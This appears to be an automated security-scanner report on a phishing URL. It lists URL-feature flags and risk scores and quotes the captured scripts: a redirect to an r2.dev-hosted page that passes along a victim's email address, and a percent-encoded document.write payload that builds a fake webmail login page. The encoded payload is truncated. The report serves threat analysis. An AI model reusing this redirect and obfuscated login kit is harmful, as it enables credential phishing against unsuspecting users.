Windows Analysis Report
https://bowhandmade.pt/.jan2#fritss@boogertmanpta.co.za

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://bowhandmade.pt

{
    "risk_score": 8,
    "reasoning": "This script demonstrates high-risk behavior by redirecting the user to an untrusted domain (https://pub-093df4ea445740f9b5bda34d3a4b96a1.r2.dev/oblee.html) with potentially malicious intent. The use of `window.location.replace()` to perform the redirect, along with the obfuscation of the final URL, are strong indicators of suspicious activity."
}

const web_url =  window.location.href;const test1 = `${window.location.protocol}//${window.location.hostname}${window.location.pathname}`;const clean_url = web_url.replaceAll(test1.toString(),"");window.location.replace("https://pub-093df4ea445740f9b5bda34d3a4b96a1.r2.dev/oblee.html"+clean_url);

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of `document.write()` to execute the decoded content is a clear indicator of potential malicious intent. Additionally, the script appears to be attempting to bypass security measures like robots.txt and Google bot detection. While the final intent is unclear, the combination of these factors suggests a high-risk scenario that requires further investigation."
}

   code by https://www.html-code-generator.com -->
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%3E%0A%0A%3C%68%65%61%64%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%77%69%6E%64%6F%77%73%2D%31%32%35%32%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%69%6E%64%65%78%2C%20%6E%6F%66%6F%6C%6C%6F%77%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%67%6F%6F%67%6C%65%62%6F%74%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%69%6E%64%65%78%2C%20%6E%6F%66%6F%6C%6C%6F%77%22%3E%0A%20%20%20%20%3C%74%69%74%6C%65%3E%57%65%62%6D%61%69%6C%20%50%6F%72%74%61%6C%20%4C%6F%67%69%6E%3C%2F%74%69%74%6C%65%3E%0A%0A%20%20%20%20%3C%73%74%79%6C%65%3E%68%74%6D%6C%2C%62%6F%64%79%2C%64%69%76%2C%73%70%61%6E%2C%61%70%70%6C%65%74%2C%6F%62%6A%65%63%74%2C%69%66%72%61%6D%65%2C%68%31%2C%68%32%2C%68%33%2C%68%34%2C%68%35%2C%68%36%2C%70%2C%62%6C%6F%63%6B%71%75%6F%74%65%2C%70%72%65%2C%61%2C%61%62%62%72%2C%61%63%72%6F%6E%79%6D%2C%61%64%64%72%65%73%73%2C%62%69%67%2C%63%69%74%65%2C%63%6F%64%65%2C%64%65%6C%2C%64%66%6E%2C%65%6D%2C%69%6D%67%2C%69%6E%73%2C%6B%62%64%2C%71%2C%73%2C%73%61%6D%70%2C%73%6D%61%6C%6C%2C%73%74%72%69%6B%65%2C%73%74%72%6F%6E%67%2C%73%75%62%2C%73%75%70%2C%74%74%2C%76%61%72%2C%62%2C%75%2C%69%2C%63%65%6E%74%65%72%2C%64%6C%2C%64%74%2C%64%64%2C%6F%6C%2C%75%6C%2C%6C%69%2C%66%69%65%6C%64%73%65%74%2C%66%6F%72%6D%2C%6C%61%62%65%6C%2C%6C%65%67%65%6E%64%2C%74%61%62%6C%65%2C%63%61%70%74%69%6F%6E%2C%74%62%6F%64%79%2C%74%66%6F%6F%74%2C%74%68%65%61%64%2C%74%72%2C%74%68%2C%74%64%2C%61%72%74%69%63%6C%65%2C%61%73%69%64%65%2C%63%61%6E%76%61%73%2C%64%65%74%61%69%6C%73%2C%65%6D%62%65%64%2C%66%69%67%75%72%65%2C%66%69%67%63%61%70%74%69%6F%6E%2C%66%6F%6F%74%65%72%2C%68%65%61%64%65%72%2C%68%67%72%6F%75%70%2C%6D%65%6E%75%2C%6E%61%76%2C%6F%75%74%70%75%74%2C%72%75%62%79%2C%73%65%63%74%69%6F%6E%2C%73%75%6D%6D%61%72%79%2C%74%69%6D%65%2C%6D%61%72%6B%2C%61%75%64%69%6F%2C%76%69%64%65%6F%7B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%3B%62%6F%72%64%65%72%3A%30%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%30%30%25%3B%66%6F%6E%74%3A%69%6E%68%65%72%69%74%3B%76%65%72%74%69%63%61%6C%2D%61%6C%69%67%6E%3A%62%61%73%65%6C%69%6E%65%7D%61%72%74%69%63%6C%65%2C%61%73%69%64%65%2C%64%65%74%61%69%6C%73%2C%66%69%67%63%61%70%74%69%6F%6E%2C%66%69%67%75%72%65%2C%66%6F%6F%74%65%72%2C%68%65%61%64%65%72%2C%68%67%72%6F%75%70%2C%6D%65%6E%75%2C%6E%61%76%2C%73%65%63%74%69%6F%6E%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%7D%62%6F%64%79%7B%6C%69%6E%65%2D%68%65%69%67%68%74%3A%31%7D%6F%6C%2C%75%6C%7B%6C%69%73%74%2D%73%74%79%6C%65%3A%6E%6F%6E%65%7D%62%6C%6F%63%6B%71%75%6F%74%65%2C%71%7B%71%75%6F%74%65%73%3A%6E%6F%6E%65%7D%62%6C%6F%63%6B%71%75%6F%74%65%3A%62%65%66%6F%72%65%2C%62%6C%6F%63%6B%71%75%6F%74%65%3A%61%66%74%65%72%2C%71%3A%62%65%66%6F%72%65%2C%71%3A%61%66%74%65%72%7B%63%6F%6E%74%65%6E%74%3A%27%27%3B%63%6F%6E%74%65%6E%74%3A%6E%6F%6E%65%7D%74%61%62%6C%65%7B%62%6F%72%64%65%72%2D%63%6F%6C%6C%61%70%73%65%3A%63%6F%6C%6C%61%70%73%65%3B%62%6F%72%64%65%72%2D%73%70%61%63%69%6E%67%3A%30%7D%68%74%6D%6C%2C%62%6F%64%79%7B%66%6F%6E%74%2D%73%69%7A%65%3A%31%38%70%78%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%41%72%69%61%6C%2C%68%65%6C%76%65%74%69%63%61%20%6E%65%75%65%2C%48%65%6C%76%65%74%69%63%61%2C%73%61%6E%73%2D%73%65%72%69%66%20%73%61%6E%73%2D%73%65%72%69%66%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%35%30%30%7D%23%72%6F%6F%74%7B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%62%6F%74%74%6F%6D%3A%30%3B%74%6F%70%3A%30%3B%7A%2D%69%6E%64%65%78%3A%2D%31%30%3B%70%6F%69%6E%74%65%72%2D%65%76%65%6E%74%73%3A%6E%6F%6E%65%7D%2E%65%72%72%6F%72%7B%63%6F%6C%6F%72%3A%23%64%63%33%35%34%35%3B%77%69%64%74%68%3A%38%30%25%3B%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%70%61%64%64%69%6E%67%2D%74%6F%70%3A%35%70%78%7D%2E%66%6F%72%6D%2D%68%6F%6C%64%65%